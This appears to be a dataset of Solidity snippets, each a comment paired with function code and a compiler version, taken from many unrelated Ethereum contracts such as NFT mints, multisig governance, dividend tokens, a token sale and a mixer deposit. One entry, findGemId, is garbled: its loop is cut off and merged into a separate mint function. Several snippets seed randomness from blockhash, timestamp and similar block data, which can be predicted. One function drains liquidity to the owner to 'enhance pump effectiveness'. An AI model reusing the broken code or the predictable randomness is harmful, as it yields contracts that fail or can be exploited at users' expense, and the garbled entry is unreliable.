let's just be 100% sure we never let this happen.\r\n require(newColorId == uint256(uint32(newColorId)));\r\n\r\n Birth(newColorId, _name, _owner);\r\n\r\n colorIndexToPrice[newColorId] = _price;\r\n colorIndexToPreviousPrice[newColorId] = 0;\r\n colorIndexToPreviousOwners[newColorId] =\r\n [address(this), address(this), address(this), address(this), address(this)];\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transfer(address(0), _owner, newColorId);\r\n }", "version": "0.4.18"} {"comment": "// Reduce some liquidity - use to enhance pump effectiveness during bull run!", "function_code": "function createLiquidityCrisis()\r\n external\r\n payable\r\n override\r\n {\r\n require (block.timestamp >= minLiquidityCrisisTime, \"It's too early to create a liquidity crisis\");\r\n require (msg.sender == owner || msg.value >= 100 ether, \"This can only be called by paying 100 ETH\");\r\n\r\n minLiquidityCrisisTime = block.timestamp + 60 * 60 * 24 * 90; // No more for 3 months;\r\n\r\n uint256 liquidity = initialLiquidityTokens / 4;\r\n uint256 balance = uniswapEthUppPair.balanceOf(address(this));\r\n if (liquidity > balance) { liquidity = balance; }\r\n if (liquidity == 0) { return; }\r\n\r\n uniswapEthUppPair.approve(address(uniswapV2Router), liquidity);\r\n (uint256 amountToken,) = uniswapV2Router.removeLiquidityETH(\r\n address(this),\r\n liquidity,\r\n 0,\r\n 0,\r\n owner,\r\n block.timestamp);\r\n\r\n _transfer(owner, address(this), amountToken);\r\n _approve(address(this), address(staking), amountToken);\r\n staking.increaseRewardsPot();\r\n\r\n emit LiquidityCrisis();\r\n }", "version": "0.7.0"} {"comment": "/// @dev Creates a new random number", "function_code": "function newRandomNumber(uint256 id, bytes32 fileHash)\r\n public\r\n onlyOperators()\r\n nonZeroId(id)\r\n idMustBeUnique(id)\r\n nonZeroFileHash(fileHash)\r\n hashMustBeUnique(fileHash)\r\n {\r\n randomNumbers[id].id = id;\r\n randomNumbers[id].fileHash = fileHash;\r\n\r\n emit NewRandomNumber(id, fileHash);\r\n\r\n hashToId[fileHash] = id;\r\n lastId = id;\r\n numberOfRandomNumbers += 1;\r\n }", "version": "0.8.0"} {"comment": "/// @dev Bulk creation to reduce gas fees.", "function_code": "function bulkRandomNumbers(\r\n uint256[] memory ids,\r\n bytes32[] memory fileHashes\r\n ) public onlyOperators() {\r\n require(\r\n ids.length == fileHashes.length,\r\n \"Arrays must be the same length\"\r\n );\r\n\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n newRandomNumber(ids[i], fileHashes[i]);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/// @dev Generate the random number", "function_code": "function generateRandomNumber(uint256 id)\r\n public\r\n onlyOperators()\r\n nonZeroId(id)\r\n idMustExists(id)\r\n {\r\n require(\r\n randomNumbers[id].requestId == 0,\r\n \"Request already exists for this ID.\"\r\n );\r\n require(LINK.balanceOf(address(this)) >= fee, \"Not enough LINK\");\r\n bytes32 requestId = requestRandomness(keyHash, fee);\r\n randomNumbers[id].requestId = requestId;\r\n requestIdToId[requestId] = id;\r\n }", "version": "0.8.0"} {"comment": "/// @dev Generate the random numbers", "function_code": "function bulkGenerateRandomNumbers(uint256[] memory ids)\r\n public\r\n onlyOperators()\r\n {\r\n require(\r\n LINK.balanceOf(address(this)) >= fee * ids.length,\r\n \"Not enough LINK\"\r\n );\r\n\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n require(ids[i] != 0, \"ID cannot be 0\");\r\n require(randomNumbers[ids[i]].fileHash != 0, \"ID does not exists\");\r\n require(\r\n randomNumbers[ids[i]].requestId == 0,\r\n \"Request already exists for this ID.\"\r\n );\r\n\r\n bytes32 requestId = requestRandomness(keyHash, fee);\r\n randomNumbers[ids[i]].requestId = requestId;\r\n requestIdToId[requestId] = ids[i];\r\n }\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * Passes execution into virtual function.\r\n *\r\n * Can only be called by assigned asset proxy.\r\n *\r\n * @return success.\r\n * @dev function is final, and must not be overridden.\r\n */", "function_code": "function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) public onlyProxy() returns(bool) {\r\n if (isICAP(_to)) {\r\n return _transferFromToICAPWithReference(_from, bytes32(_to) << 96, _value, _reference, _sender);\r\n }\r\n return _transferFromWithReference(_from, _to, _value, _reference, _sender);\r\n }", "version": "0.4.23"} {"comment": "/// For creating Pow", "function_code": "function _createPow(string _name, address _owner, uint256 _price, uint _gameId, uint _gameItemId) private {\r\n Pow memory _pow = Pow({\r\n name: _name,\r\n gameId: _gameId,\r\n gameItemId: _gameItemId\r\n });\r\n uint256 newPowId = pows.push(_pow) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // let's just be 100% sure we never let this happen.\r\n require(newPowId == uint256(uint32(newPowId)));\r\n\r\n Birth(newPowId, _name, _owner);\r\n\r\n powIndexToPrice[newPowId] = _price;\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transfer(address(0), _owner, newPowId);\r\n }", "version": "0.4.20"} {"comment": "/// @dev Assigns ownership of a specific Pow to an address.", "function_code": "function _transfer(address _from, address _to, uint256 _tokenId) private {\r\n // Since the number of pow is capped to 2^32 we can't overflow this\r\n ownershipTokenCount[_to]++;\r\n //transfer ownership\r\n powIndexToOwner[_tokenId] = _to;\r\n\r\n // When creating new pows _from is 0x0, but we can't account that address.\r\n if (_from != address(0)) {\r\n ownershipTokenCount[_from]--;\r\n // clear any previously approved ownership exchange\r\n delete powIndexToApproved[_tokenId];\r\n }\r\n\r\n // Emit the transfer event.\r\n Transfer(_from, _to, _tokenId);\r\n }", "version": "0.4.20"} {"comment": "/* GET FUNCTIONS */", "function_code": "function getGemStone(uint256 p_tokenId) public view returns (string memory) {\n require(_exists(p_tokenId),\"Not minted\"); \n uint256 gemId = findGemId(p_tokenId, \"GEMSTONE\");\n string[8] memory gemStoneNames = [\n \"Blue Diamond\",\n \"Pink Diamond\",\n \"Diamond\",\n \"Ruby\",\n \"Emerald\",\n \"Sapphire\", \n \"Jade\",\n \"Opal\"\n ];\n return gemStoneNames[gemId];\n }", "version": "0.8.7"} {"comment": "// FINDER functions\n// Find Gem Id can find anything from an array with 8 elements (note: weighting table in place)", "function_code": "function findGemId(uint256 p_tokenId, string memory p_seedString) internal view returns (uint256) {\n uint8[8] memory weightings = [\n 1,\n 2,\n 4,\n 8,\n 16,\n 32,\n 56,\n 78\n ];\n uint256 rand = random(abi.encodePacked(p_seedString, s_randomSeeds[p_tokenId]));\n uint256 weighting = (rand % 100)+1;\n uint256 r_attrId = weightings.length-1;\n for (uint i=0; i=weightings[i] && weighting=weightings[i] && weighting 12000 && p_tokenId <= 12100, \"Token ID invalid\");\n _safeMint(msg.sender, p_tokenId); \n s_randomSeeds[p_tokenId] = uint256(blockhash(block.number - 2))\n ^ block.timestamp\n ^ block.difficulty\n ^ p_tokenId\n ^ block.basefee\n ^ uint256(keccak256(abi.encodePacked(block.coinbase)));\n \n }", "version": "0.8.7"} {"comment": "/// @dev Returns list of owners.\n/// @return List of owner addresses.", "function_code": "function getOwners() public view returns (address[] memory) {\r\n uint256 len = EnumerableSet.length(_owners);\r\n address[] memory o = new address[](len);\r\n\r\n for (uint256 i = 0; i < len; i++) {\r\n o[i] = EnumerableSet.at(_owners, i);\r\n }\r\n\r\n return o;\r\n }", "version": "0.8.0"} {"comment": "/// @dev Helper function to fail if resolution number is already in use.", "function_code": "function resolutionAlreadyUsed(uint256 resNum) public view {\r\n require(\r\n // atleast one of the address must not be equal to address(0)\r\n !(resolutions[resNum].oldAddress != address(0) ||\r\n resolutions[resNum].newAddress != address(0)),\r\n \"Resolution is already in use.\"\r\n );\r\n }", "version": "0.8.0"} {"comment": "/// @notice Vote Yes on a Resolution.\n/// @dev The owner who tips the agreement threshold will pay the gas for performing the resolution.\n/// @return TRUE if the resolution passed", "function_code": "function voteResolution(uint256 resNum) public onlyOwners() returns (bool) {\r\n ownerVotes[msg.sender][resNum] = true;\r\n\r\n // If the reolution has already passed, then do nothing\r\n if (isResolutionPassed(resNum)) {\r\n return true;\r\n }\r\n\r\n // If the resolution can now be passed, then do so\r\n if (canResolutionPass(resNum)) {\r\n _performResolution(resNum);\r\n return true;\r\n }\r\n\r\n // The resolution cannot be passed yet\r\n return false;\r\n }", "version": "0.8.0"} {"comment": "/// @dev Create a resolution to repalce an owner. Performs replacement if threshold is 1 or zero.", "function_code": "function createResolutionReplaceOwner(address oldOwner, address newOwner)\r\n public\r\n onlyOwners()\r\n {\r\n isValidAddress(oldOwner);\r\n isValidAddress(newOwner);\r\n require(\r\n EnumerableSet.contains(_owners, oldOwner),\r\n \"oldOwner is not an owner.\"\r\n );\r\n require(\r\n !EnumerableSet.contains(_owners, newOwner),\r\n \"newOwner already exists.\"\r\n );\r\n\r\n createResolution(resTypeReplaceOwner, oldOwner, newOwner, new bytes32[](0));\r\n }", "version": "0.8.0"} {"comment": "/// @dev Create a resolution to replace the operator account. Performs replacement if threshold is 1 or zero.", "function_code": "function createResolutionReplaceOperator(\r\n address oldOperator,\r\n address newOperator\r\n ) public onlyOwners() {\r\n isValidAddress(oldOperator);\r\n isValidAddress(newOperator);\r\n require(\r\n EnumerableSet.contains(_operators, oldOperator),\r\n \"oldOperator is not an Operator.\"\r\n );\r\n require(\r\n !EnumerableSet.contains(_operators, newOperator),\r\n \"newOperator already exists.\"\r\n );\r\n\r\n createResolution(resTypeReplaceOperator, oldOperator, newOperator,new bytes32[](0));\r\n }", "version": "0.8.0"} {"comment": "/// @dev Create a resolution and check if we can call perofrm the resolution with 1 vote.", "function_code": "function createResolution(\r\n uint256 resType,\r\n address oldAddress,\r\n address newAddress,\r\n bytes32[] memory extra\r\n ) internal {\r\n uint256 resNum = nextResolution;\r\n nextResolution++;\r\n resolutionAlreadyUsed(resNum);\r\n\r\n resolutions[resNum].resType = resType;\r\n resolutions[resNum].oldAddress = oldAddress;\r\n resolutions[resNum].newAddress = newAddress;\r\n resolutions[resNum].extra = extra;\r\n\r\n ownerVotes[msg.sender][resNum] = true;\r\n lastOwnerResolutionNumber[msg.sender] = resNum;\r\n\r\n // Check if agreement is already reached\r\n if (ownerAgreementThreshold <= 1) {\r\n _performResolution(resNum);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/// @dev Performs the resolution and then marks it as passed. No checks prevent it from performing the resolutions.", "function_code": "function _performResolution(uint256 resNum) internal {\r\n if (resolutions[resNum].resType == resTypeAddOwner) {\r\n _addOwner(resolutions[resNum].newAddress);\r\n } else if (resolutions[resNum].resType == resTypeRemoveOwner) {\r\n _removeOwner(resolutions[resNum].oldAddress);\r\n } else if (resolutions[resNum].resType == resTypeReplaceOwner) {\r\n _replaceOwner(\r\n resolutions[resNum].oldAddress,\r\n resolutions[resNum].newAddress\r\n );\r\n } else if (resolutions[resNum].resType == resTypeAddOperator) {\r\n _addOperator(resolutions[resNum].newAddress);\r\n } else if (resolutions[resNum].resType == resTypeRemoveOperator) {\r\n _removeOperator(resolutions[resNum].oldAddress);\r\n } else if (resolutions[resNum].resType == resTypeReplaceOperator) {\r\n _replaceOperator(\r\n resolutions[resNum].oldAddress,\r\n resolutions[resNum].newAddress\r\n );\r\n } else if (\r\n resolutions[resNum].resType == resTypeUpdateTransactionLimit\r\n ) {\r\n _updateTransactionLimit(uint160(resolutions[resNum].newAddress));\r\n } else if (resolutions[resNum].resType == resTypeUpdateThreshold) {\r\n _updateThreshold(uint160(resolutions[resNum].newAddress));\r\n } else if (resolutions[resNum].resType == resTypePause) {\r\n _pause();\r\n } else if (resolutions[resNum].resType == resTypeUnpause) {\r\n _unpause();\r\n } else {\r\n _customResolutions(resNum);\r\n return;\r\n }\r\n\r\n resolutions[resNum].passed = true;\r\n }", "version": "0.8.0"} {"comment": "// Seeds setup.", "function_code": "function rndSeeds(address[] calldata seeds, uint16[] calldata weis) public onlyOwner {\r\n require(rnds.length() == 0, \"!rnds\");\r\n require(seeds.length == weis.length, \"!same length\");\r\n\r\n uint256 sum = 0;\r\n uint256 len = seeds.length;\r\n for(uint256 i = 0; i < len; ++i) {\r\n if(weis[i] != 0 && seeds[i] != address(0)) {\r\n rnds.set(sum, seeds[i]);\r\n sum += weis[i];\r\n \r\n // setup referrer\r\n setReferrer(seeds[i], owner);\r\n }\r\n }\r\n \r\n // put an additional element as sentinel\r\n rnds.set(sum, owner);\r\n rndSeedMax = sum;\r\n }", "version": "0.6.12"} {"comment": "// function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n// address token,\n// uint liquidity,\n// uint amountTokenMin,\n// uint amountETHMin,\n// address to,\n// uint deadline,\n// bool approveMax, uint8 v, bytes32 r, bytes32 s\n// ) external virtual override returns (uint amountETH) {\n// // address pair = ExcavoLibrary.pairFor(factory, token, WETH);\n// // uint value = approveMax ? uint(-1) : liquidity;\n// // IExcavoPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);\n// // amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(\n// // token, liquidity, amountTokenMin, amountETHMin, to, deadline\n// // );\n// }\n// **** SWAP ****\n// requires the initial amount to have already been sent to the first pair", "function_code": "function _swap(uint[] memory amounts, address[] memory path, address _to, uint discount) internal virtual {\n for (uint i; i < path.length - 1; i++) {\n (address input, address output) = (path[i], path[i + 1]);\n (address token0,) = ExcavoLibrary.sortTokens(input, output);\n uint amountOut = amounts[i + 1];\n (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));\n address to = i < path.length - 2 ? ExcavoLibrary.pairFor(factory, output, path[i + 2]) : _to;\n \n IExcavoPair(ExcavoLibrary.pairFor(factory, input, output)).swap(\n amount0Out, amount1Out, to, new bytes(0), discount\n );\n }\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev function to withdraw balance\r\n */", "function_code": "function withdraw(address customerAddress) internal {\r\n uint256 _dividends = dividendsOf(customerAddress);\r\n\r\n payoutsTo[customerAddress] += (int256) (_dividends);\r\n _dividends = _dividends.add(refBalance[customerAddress]);\r\n refBalance[customerAddress] = 0;\r\n\r\n if (_dividends > 0) {\r\n address payable _customerAddress = address(uint160(customerAddress));\r\n _customerAddress.transfer(_dividends);\r\n\r\n emit onWithdraw(customerAddress, _dividends);\r\n }\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev function to reinvest of dividends\r\n */", "function_code": "function reinvest() onlyParticipant public {\r\n uint256 _dividends = showMyDividends(false);\r\n address _customerAddress = msg.sender;\r\n\r\n payoutsTo[_customerAddress] += (int256) (_dividends);\r\n _dividends = _dividends.add(refBalance[_customerAddress]);\r\n refBalance[_customerAddress] = 0;\r\n\r\n uint256 _tokens = buyTokens(_customerAddress, _dividends, address(0));\r\n\r\n emit onReinvestment(_customerAddress, _dividends, _tokens);\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev function to show ether/tokens ratio\r\n * @param _eth eth amount\r\n */", "function_code": "function showEthToTokens(uint256 _eth) public view returns (uint256 _tokensReceived, uint256 _newTokenPrice) {\r\n uint256 b = actualTokenPrice.mul(2).sub(tokenPriceIncremental);\r\n uint256 c = _eth.mul(2);\r\n uint256 d = SafeMath.add(b**2, tokenPriceIncremental.mul(4).mul(c));\r\n\r\n // d = b**2 + 4 * a * c;\r\n // (-b + Math.sqrt(d)) / (2*a)\r\n _tokensReceived = SafeMath.div(sqrt(d).sub(b).mul(decimalShift), tokenPriceIncremental.mul(2));\r\n _newTokenPrice = actualTokenPrice.add(tokenPriceIncremental.mul(_tokensReceived).div(decimalShift));\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev function to show tokens/ether ratio\r\n * @param _tokens tokens amount\r\n */", "function_code": "function showTokensToEth(uint256 _tokens) public view returns (uint256 _eth, uint256 _newTokenPrice) {\r\n // (2 * a1 - delta * (n - 1)) / 2 * n\r\n _eth = SafeMath.sub(actualTokenPrice.mul(2), tokenPriceIncremental.mul(_tokens.sub(1e18)).div(decimalShift)).div(2).mul(_tokens).div(decimalShift);\r\n _newTokenPrice = actualTokenPrice.sub(tokenPriceIncremental.mul(_tokens).div(decimalShift));\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev function to buy tokens, calculate bonus, dividends, fees\r\n * @param _inRawEth eth amount\r\n * @param _ref address of referal\r\n */", "function_code": "function buyTokens(address customerAddress, uint256 _inRawEth, address _ref) internal returns (uint256) {\r\n uint256 _dividends = inBonus_p.mul(_inRawEth);\r\n uint256 _inEth = _inRawEth.sub(_dividends);\r\n uint256 _tokens = 0;\r\n uint256 startPrice = actualTokenPrice;\r\n\r\n if (_ref != address(0) && _ref != customerAddress && balanceOf(_ref) >= refMinBalanceReq) {\r\n uint256 _refBonus = refBonus_p.mul(_dividends);\r\n _dividends = _dividends.sub(_refBonus);\r\n refBalance[_ref] = refBalance[_ref].add(_refBonus);\r\n }\r\n\r\n uint256 _totalTokensSupply = totalSupply();\r\n\r\n if (_totalTokensSupply > 0) {\r\n _tokens = ethToTokens(_inEth);\r\n require(_tokens > 0);\r\n profitPerToken = profitPerToken.add(_dividends.mul(decimalShift).div(_totalTokensSupply));\r\n _totalTokensSupply = _totalTokensSupply.add(_tokens);\r\n } else {\r\n // initial protect\r\n if (!isOwner()) {\r\n address(uint160(owner())).transfer(msg.value);\r\n return 0;\r\n }\r\n\r\n _totalTokensSupply = ethToTokens(_inRawEth);\r\n _tokens = _totalTokensSupply;\r\n }\r\n\r\n _mint(customerAddress, _tokens);\r\n payoutsTo[customerAddress] += (int256) (profitPerToken.mul(_tokens).div(decimalShift));\r\n\r\n emit onTokenBuy(customerAddress, _inEth, _tokens, _ref, now, startPrice, actualTokenPrice);\r\n\r\n return _tokens;\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * @dev function to sell tokens, calculate dividends, fees\r\n * @param _inRawTokens eth amount\r\n */", "function_code": "function sellTokens(uint256 _inRawTokens) internal returns (uint256) {\r\n address _customerAddress = msg.sender;\r\n require(_inRawTokens <= balanceOf(_customerAddress));\r\n uint256 _tokens = _inRawTokens;\r\n uint256 _eth = 0;\r\n uint256 startPrice = actualTokenPrice;\r\n\r\n _eth = tokensToEth(_tokens);\r\n _burn(_customerAddress, _tokens);\r\n\r\n uint256 _dividends = outBonus_p.mul(_eth);\r\n uint256 _ethTaxed = _eth.sub(_dividends);\r\n int256 unlockPayout = (int256) (_ethTaxed.add((profitPerToken.mul(_tokens)).div(decimalShift)));\r\n\r\n payoutsTo[_customerAddress] -= unlockPayout;\r\n profitPerToken = profitPerToken.add(_dividends.mul(decimalShift).div(totalSupply()));\r\n\r\n emit onTokenSell(_customerAddress, _tokens, _eth, now, startPrice, actualTokenPrice);\r\n }", "version": "0.5.6"} {"comment": "/**\n * @notice Function to recover funds\n * Owner is assumed to be governance or AcknoLedger trusted party for helping users\n * @param token Address of token to be rescued\n * @param destination User address\n * @param amount Amount of tokens\n */", "function_code": "function recoverToken(\n address token,\n address destination,\n uint256 amount\n ) external onlyGovernance {\n require(token != destination, \"Invalid address\");\n require(destination != address(0), \"Invalid address\");\n require(IERC20(token).transfer(destination, amount), \"Retrieve failed\");\n emit RecoverToken(token, destination, amount);\n }", "version": "0.8.9"} {"comment": "/// @notice given an amount of money returns how many tokens the money will result in with the\n/// current round's pricing", "function_code": "function calculateTokenCount(uint money) public view returns (uint count, uint change) {\n require(isSaleOpen, \"sale is no longer open and tokens can't be purchased\");\n\n // get current token price\n uint price = _rounds[_currentRound].tokenPrice;\n uint capacityLeft = _rounds[_currentRound].capacityLeft;\n\n // money sent must be bigger than or equal the price, otherwise, no purchase is necessary\n if (money < price) {\n // return all the money\n return (0, money);\n }\n\n count = money / price;\n change = money % price;\n\n // Ensure there's sufficient capacity in the current round. If the user wishes to\n // purchase more, they can send money again to purchase tokens at the next round\n if (count > capacityLeft) {\n change += price * (count - capacityLeft);\n count = capacityLeft;\n }\n\n return (count, change);\n }", "version": "0.5.8"} {"comment": "/// increases the round or closes the sale if tokens are sold out", "function_code": "function updateRounds(uint tokens) private {\n Round storage currentRound = _rounds[_currentRound];\n currentRound.capacityLeft -= tokens;\n\n if (currentRound.capacityLeft <= 0) {\n if (_currentRound == _rounds.length - 1) {\n isSaleOpen = false;\n emit SaleCompleted();\n } else {\n _currentRound++;\n emit RoundChanged(currentRound.tokenPrice, _rounds[_currentRound].tokenPrice);\n }\n }\n }", "version": "0.5.8"} {"comment": "/**\n @dev Deposit funds into the contract. The caller must send (for Coin) or approve (for ERC20) value equal to or `denomination` of this instance.\n @param _commitment the note commitment, which is PedersenHash(nullifier + secret)\n */", "function_code": "function deposit(bytes32 _commitment) external payable nonReentrant {\n require(!commitments[_commitment], \"The commitment has been submitted\");\n require(msg.value >= coinDenomination, \"insufficient coin amount\");\n uint256 refund = msg.value - coinDenomination;\n uint32 insertedIndex = _insert(_commitment);\n commitments[_commitment] = true;\n updateBlockReward();\n uint256 cycDeno = cycDenomination();\n uint256 fee = anonymityFee;\n if (cycDeno.add(fee) > 0) {\n require(cycToken.transferFrom(msg.sender, address(this), cycDeno.add(fee)), \"insufficient CYC allowance\");\n }\n if (fee > 0) {\n address t = treasury;\n if (t == address(0)) {\n require(cycToken.burn(fee), \"failed to burn anonymity fee\");\n } else {\n safeTransfer(cycToken, t, fee);\n }\n }\n uint256 td = tokenDenomination;\n if (td > 0) {\n token.safeTransferFrom(msg.sender, address(this), td);\n }\n accumulateCYC += cycDeno;\n numOfShares += 1;\n if (refund > 0) {\n (bool success, ) = msg.sender.call.value(refund)(\"\");\n require(success, \"failed to refund\");\n }\n emit Deposit(_commitment, insertedIndex, block.timestamp, cycDeno, fee);\n }", "version": "0.5.17"} {"comment": "/** @dev whether an array of notes is already spent */", "function_code": "function isSpentArray(bytes32[] calldata _nullifierHashes) external view returns(bool[] memory spent) {\n spent = new bool[](_nullifierHashes.length);\n for(uint i = 0; i < _nullifierHashes.length; i++) {\n if (isSpent(_nullifierHashes[i])) {\n spent[i] = true;\n }\n }\n }", "version": "0.5.17"} {"comment": "/// @notice casts a vote for a given choice", "function_code": "function cast(uint choice) public {\n require(choice < numChoices, \"invalid choice to vote on\");\n require(voters[msg.sender] == false, \"you've already cast your vote, can't vote twice\");\n\n address voter = msg.sender;\n uint256 weight = token.balanceOf(voter);\n\n require(weight > 0, \"you don't own any tokens and therefore can't vote\");\n require(weight > 1199, \"you need to own at least 1200 shares to vote\");\n\n // track the fact that vote has been cast\n voters[voter] = true;\n voteCount++;\n votes[choice] += weight;\n\n emit VoteCast(voter, choice, weight);\n }", "version": "0.5.8"} {"comment": "/**\n \t * @notice min amount needed to become king\n \t * @param amount - how much you want to add\n \t * @param message - your kings message\n \t */", "function_code": "function claimThrone(uint256 amount, string memory message) external whenNotPaused nonReentrant {\n\t\trequire(amount >= minAmountNeeded(), \"check minAmountNeeded()\");\n\n\t\tuint256 comission = _calcPercentage(amount, 100);\n\t\ttuna.transferFrom(msg.sender, address(this), comission);\n\t\ttuna.transferFrom(msg.sender, king, amount - comission);\n\n\t\tcurrentKingAmount = amount;\n\t\tking = msg.sender;\n\t\tkingMessage = message;\n\t}", "version": "0.8.12"} {"comment": "/* Transfer function when _to represents a contract address, with the caveat\r\n that the contract needs to implement the tokenFallback function in order to receive tokens */", "function_code": "function transferToContract(address _to, uint _value, bytes _data) internal returns (bool success) {\r\n balances[msg.sender] -= _value;\r\n balances[_to] += _value;\r\n ContractReceiver receiver = ContractReceiver(_to);\r\n receiver.tokenFallback(msg.sender, _value, _data);\r\n Transfer(msg.sender, _to, _value);\r\n Transfer(msg.sender, _to, _value, _data);\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "/* Infers if whether _address is a contract based on the presence of bytecode */", "function_code": "function isContract(address _address) internal returns (bool is_contract) {\r\n uint length;\r\n if (_address == 0) return false;\r\n assembly {\r\n length := extcodesize(_address)\r\n }\r\n if(length > 0) {\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.11"} {"comment": "/* Remove the specified amount of the tokens from the supply permanently */", "function_code": "function burn(uint256 _value, bytes _data) returns (bool success) {\r\n if (balances[msg.sender] >= _value\r\n && _value > 0) {\r\n balances[msg.sender] -= _value;\r\n _currentSupply -= _value;\r\n Burn(msg.sender, _value, _currentSupply, _data);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.11"} {"comment": "//Generate random number between 1 & max", "function_code": "function rand(uint max, uint256 seed) private returns (uint256 result){\r\n \r\n uint256 factor = seed * 100 / max;\r\n uint256 lastBlockNumber = block.number - 1;\r\n uint256 hashVal = uint256(blockhash(lastBlockNumber));\r\n return (uint256((uint256(hashVal) / factor)) % max) + 1;\r\n }", "version": "0.5.10"} {"comment": "/**\n * @notice This function returns base,ask and bid range ticks for the given pool\n * - It fetches the current tick and tick spacing of the pool\n * - Multiples the tick spacing with pools base and range multipliers\n * - Calculates pools twap and verifies whether it is under the maxtwapdeviation\n * - If the price is under the deviation limit, it returns the base ranges along with range order ticks\n * @param _pool: pool address\n **/", "function_code": "function getTicks(address _pool)\n external\n override\n onlyExchange\n returns (\n int24 baseLower,\n int24 baseUpper,\n int24 bidLower,\n int24 bidUpper,\n int24 askLower,\n int24 askUpper\n )\n {\n (int24 tick, int24 tickSpacing) = getCurrentTick(_pool);\n\n if (poolStrategy[_pool].baseThreshold == 0) {\n int24 baseFloor = _floor(baseTicks, tickSpacing);\n\n poolStrategy[_pool] = PoolStrategy({\n baseThreshold: baseFloor,\n rangeThreshold: _floor(rangeTicks, tickSpacing),\n maxTwapDeviation: maxTwapDeviation,\n readjustThreshold: (baseFloor * readjustMultiplier) / 100,\n twapDuration: twapDuration\n });\n }\n rangeOrder = poolStrategy[_pool].rangeThreshold;\n\n int24 maxThreshold = poolStrategy[_pool].baseThreshold > rangeOrder\n ? poolStrategy[_pool].baseThreshold\n : rangeOrder;\n\n require(\n (tick > TickMath.MIN_TICK + maxThreshold + tickSpacing) &&\n (tick < (TickMath.MAX_TICK - maxThreshold - tickSpacing)),\n \"IT\"\n );\n int24 twap = calculateTwap(_pool);\n int24 deviation = tick > twap ? tick - twap : twap - tick;\n\n require(deviation <= poolStrategy[_pool].maxTwapDeviation, \"MTF\");\n\n int24 tickFloor = _floor(tick, tickSpacing);\n int24 tickCeil = tickFloor + tickSpacing;\n\n baseLower = tickFloor - poolStrategy[_pool].baseThreshold;\n baseUpper = tickFloor + poolStrategy[_pool].baseThreshold;\n bidLower = tickFloor - rangeOrder;\n bidUpper = tickFloor;\n askLower = tickCeil;\n askUpper = tickCeil + rangeOrder;\n }", "version": "0.7.6"} {"comment": "/**\n * @notice This function updates the range,base threshold and twap values specific to a pool\n * @param params: struct values of PoolStrategy struct, the values can be inspected from interface\n * @param _pool<: pool address\n **/", "function_code": "function changeStrategy(PoolStrategy memory params, address _pool)\n public\n onlyGovernance\n {\n PoolStrategy memory oldStrategy = poolStrategy[_pool];\n validateStrategy(params.baseThreshold, IUniswapV3Pool(_pool).tickSpacing());\n emit StrategyUpdated(\n oldStrategy,\n poolStrategy[_pool] = PoolStrategy({\n baseThreshold: params.baseThreshold,\n rangeThreshold: params.rangeThreshold,\n maxTwapDeviation: params.maxTwapDeviation,\n readjustThreshold: params.readjustThreshold,\n twapDuration: params.twapDuration\n })\n );\n }", "version": "0.7.6"} {"comment": "/**\n * @notice This function calculates the current twap of pool\n * @param pool: pool address\n **/", "function_code": "function calculateTwap(address pool) internal view returns (int24 twap) {\n uint128 inRangeLiquidity = IUniswapV3Pool(pool).liquidity();\n if (inRangeLiquidity == 0) {\n (uint160 sqrtPriceX96, , , , , , ) = IUniswapV3Pool(pool).slot0();\n twap = TickMath.getTickAtSqrtRatio(sqrtPriceX96);\n } else {\n twap = getTwap(pool);\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @notice This function fetches the twap of pool from the observation\n * @param _pool: pool address\n **/", "function_code": "function getTwap(address _pool) public view override returns (int24 twap) {\n IUniswapV3Pool uniswapV3Pool = IUniswapV3Pool(_pool);\n (, , uint16 observationIndex, uint16 observationCardinality, , , ) = uniswapV3Pool\n .slot0();\n (uint32 lastTimeStamp, , , ) = uniswapV3Pool.observations(\n (observationIndex + 1) % observationCardinality\n );\n uint32 timeDiff = uint32(block.timestamp) - lastTimeStamp;\n uint32 duration = poolStrategy[_pool].twapDuration;\n if (duration == 0) {\n duration = twapDuration;\n }\n twap = OracleLibrary.consult(_pool, timeDiff > duration ? duration : timeDiff);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice This function calculates the lower tick value from the current tick\n * @param tick: current tick of the pool\n * @param tickSpacing: tick spacing according to the fee tier\n **/", "function_code": "function _floor(int24 tick, int24 tickSpacing) internal pure returns (int24) {\n int24 compressed = tick / tickSpacing;\n if (tick < 0 && tick % tickSpacing != 0) compressed--;\n return compressed * tickSpacing;\n }", "version": "0.7.6"} {"comment": "//at least min_amount blocks to call this", "function_code": "function earnReward(uint min_amount) public onlyOwner{\r\n require(block.number.safeSub(last_earn_block) >= earn_gap, \"not long enough\");\r\n last_earn_block = block.number;\r\n\r\n uint256 index = get_pid(ICurvePool(current_pool).get_lp_token_addr());\r\n (,,,address crvRewards,,) = convex_booster.poolInfo(index);\r\n ConvexRewardInterface(crvRewards).getReward(address(this), true);\r\n\r\n for(uint i = 0; i < extra_yield_tokens.length; i++){\r\n uint256 amount = IERC20(extra_yield_tokens[i]).balanceOf(address(this));\r\n if(amount > 0){\r\n require(yield_handler != YieldHandlerInterface(0x0), \"invalid yield handler\");\r\n IERC20(extra_yield_tokens[i]).approve(address(yield_handler), amount);\r\n if(target_token == address(0x0)){\r\n yield_handler.handleExtraToken(extra_yield_tokens[i], weth, amount, min_amount);\r\n }else{\r\n yield_handler.handleExtraToken(extra_yield_tokens[i], target_token, amount, 